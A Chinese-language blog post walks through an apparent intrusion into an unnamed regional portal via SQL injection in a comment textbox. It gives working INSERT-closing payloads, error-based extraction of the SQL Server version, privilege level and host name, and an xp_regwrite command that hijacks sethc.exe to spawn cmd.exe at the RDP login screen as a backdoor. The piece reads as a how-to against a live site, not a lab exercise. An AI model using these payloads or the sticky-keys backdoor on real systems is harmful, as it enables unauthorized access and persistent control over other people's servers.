利用文本框Insert注入刺探

网络安全的认识里存在注入的网站可以说就不是一个好的网站。所以,评价一个网站的安全可以从他的网站是否存在注入开始。

大家经常测试注入大多只看了get提交的链接,post方式提交的数据的可能同我一样懒得抓包去测试,或许勤奋一点的哥们也会试试cookies注入。今天遇见了一个post提交的文本框insert注入和一朋友提起,他也是了解有点少,于是我发现大家普遍对文本框这些地方进行的注入测试比较贫乏,我这里就简单的说一下关于这个insert注入。
目标站是一个子站比较多的信息港,找了半天主站没有发现注入点,注册一个账户找到了一个上传,可惜上传页面莫名其妙的报错。看了看子站,发现都和主站一样的cms,拿wwwscan扫了扫目录,扫了扫端口发现开了3389和80以及1433,spider爬了会,也没发现可利用的,服务器上再没别的站了。思路陷入僵局?c段?就在这时顺手在评论出提交了1’);–如图1。

好样的,报错了。如图2

由此这应该是一个insert注入点。先看看关于insert语句语法。

INSERT INTO 语句用于向表格中插入新的行,也可以指定所要插入数据的列。语法是
INSERT INTO 表名称 (列1, 列2,…) VALUES (值1, 值2,….)

于是我们继续在文本框处输入闭合语句测试。当提交到

1′,null,null,null,null,null);–

时,提交不再报错,提交成功了。我们来提交注入语句。

1′,cast(@@version as int),null,null,null,null);–

如图3 返回信息

爆得数据库版本信息Microsoft SQL Server 2000 – 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)。
我们再提交

1′,cast(system_user as int),null,null,null,null);–

返回如图4得到权限为sa,

提交

1′,cast(@@servername+’|’+host_name() as int),null,null,null,null);–

返回将 nvarchar 值 ‘YOZI|YOZI’ 转换为数据类型为 int 的列时发生语法错误。说明站库没有分离。如图5

收集这些信息差不多了。

既然是sa权限就足够大了,这里提一种sa权限映像劫持的方法,用了mssql的xp_regwrite 扩展存储,我们提交如下

1′,null,null,null,null,null);exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows NT\Cu
rrentVersion\Image File Execution Options\sethc.exe’,’debugger’,’REG_sz’,’c:\windows\system32\c
md.exe on’;–

提交以后返回正常,我们链接服务器3389,按5下shift,如图6

呵呵。文章就写到这里了。想补充相关知识或者想学习更多渗透思路的可以去看看社工提权艰难渗透某通信局。希望大家喜欢。

本文作者莫良由网络安全(www.91ri.org)收集整理.